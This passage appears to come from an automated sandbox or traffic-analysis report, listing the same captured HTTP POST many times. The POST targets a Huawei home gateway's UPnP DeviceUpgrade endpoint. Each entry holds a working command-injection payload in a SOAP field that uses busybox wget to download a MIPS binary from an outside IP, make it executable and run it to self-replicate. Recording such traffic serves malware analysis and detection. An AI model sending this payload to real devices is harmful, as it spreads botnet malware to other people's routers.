6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 